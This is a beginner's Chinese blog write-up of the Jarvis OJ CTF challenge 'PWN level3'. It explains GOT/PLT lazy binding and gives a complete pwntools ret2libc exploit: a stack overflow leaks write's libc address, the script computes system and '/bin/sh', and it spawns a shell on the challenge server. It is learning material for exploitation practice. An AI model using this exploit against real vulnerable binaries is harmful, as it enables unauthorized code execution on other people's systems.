Jarvis OJ PWN level3

0x01

由於是本人第一次接觸這種有關動態鏈接,plt和got表,延時綁定技術的題目所以這裏就寫的細一些。
我是看了很多大佬寫的wp然後請教了下學長才明白的,真是煞費腦筋,決定一定要好好整理一下。

0x02

首先是需要了解一下got表和plt表的有關內容並對延遲綁定技術有一定理解。

GOT(Global Offset Table,全局偏移表)是Linux
ELF文件中用於定位全局變量和函數的一個表。PLT(Procedure Linkage Table,過程鏈接表)是Linux
ELF文件中用於延遲綁定的表,即函數第一次被調用的時候才進行綁定。

所謂延遲綁定,就是當函數第一次被調用的時候才進行綁定(包括符號查找、重定位等),如果函數從來沒有用到過就不進行綁定。基於延遲綁定可以大大加快程序的啓動速度,特別有利於一些引用了大量函數的程序

然後我們來看這一題先看保護:
在這裏插入圖片描述
只開了NX
打開IDA
在這裏插入圖片描述
發現是棧溢出漏洞,但找不到system函數和‘bin/sh’字符串。然後就沒得思路了,看了大佬的wp才知道題目還需要用到題目給的另一個文件,發現題目給了一個叫libc.so文件,,,,em…肯定有問題,然後就去找libc.so文件是幹什麼用。
找了些資料知道了.so文件,也就是動態鏈接庫,它的作用是計算函數地址偏移量的(通俗的理解,其實就是利用函數的相對位置,函數的有一個真實地址也就是got表中的地址,在libc庫中也有一個地址。libc庫就像C語言中的#include<>一樣,通過libc庫可以計算函數的相對偏移量)
然後函數相對libc庫的偏移量是相同的所以就可以利用已知的或可求的函數真實地址去計算這個偏移量,比如這個題,write函數的真實地址就是可求的。
借的別人的圖,幫助理解

											*借的別人的圖,幫助理解*

我們可以先通過plt表調用一下write函數並且返回執行write函數接着將write函數所需要的參數放進去(這裏因爲write函數可以將地址寫出來相當於泄露出來,而got表中的write函數就是write函數的真實地址,所以將第二個參數設置位write函數的got表地址)這時服務器返回的就是write函數的真實地址。
在這裏插入圖片描述
所以payload可以這樣構造:

“a”*0x88  + "aaaa“ +p32(write_plt) + p32(這裏重新調用write函數就是函數vulnerable_function的地址) + p32(1)+p32(write_got)+p32(4)  #三個參數

現在我們就需要用一個變量去接收服務器返回的這個write函數的真實地址

write_addr = u32(io.recv(4))

這時我們就可以計算偏移量了:

offset = write_addr - write函數在libc中的地址

得到偏移量後就能去計算system和“/bin/sh”的真實地址了
然後就是正常的ret2lib了
exp.py:

from pwn import *
#io = process("./level3")
io = remote("pwn2.jarvisoj.com",9879)
elf = ELF("./level3")
libc = ELF("./libc-2.19.so")

write_plt = elf.symbols["write"]
print 'write_plt:'+hex(write_plt)
write_got = elf.got["write"]
print 'write_got:'+hex(write_got)

func = elf.symbols["vulnerable_function"]
print 'func:'+hex(func)

write_libc = libc.symbols["write"]
sys_libc = libc.symbols["system"]
bin_libc = libc.search("/bin/sh").next()
print 'write_libc:' + hex(write_libc) + '  sys_libc:' + hex(sys_libc) + '  bin_libc:' + hex(bin_libc)

payload1 = 'a' * 0x88 + 'aaaa' + p32(write_plt) + p32(func) + p32(1)+p32(write_got)+p32(4)

io.recvuntil("Input:\n")
io.sendline(payload1)

write_addr = u32(io.recv(4))



print 'write_addr:' +  hex(write_addr)

sys_addr = write_addr - write_libc + sys_libc
bin_addr = write_addr - write_libc + bin_libc

payload2 = 'a' * 0x88 + 'aaaa' + p32(sys_addr) + "aaaa" + p32(bin_addr)
io.recvuntil("Input:\n")
io.sendline(payload2)
io.interactive()
io.close()

可能有些細節寫的不是很清楚,請各位大佬批評指針。
最後本小白在進步,爲了夢想定會堅持!!!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章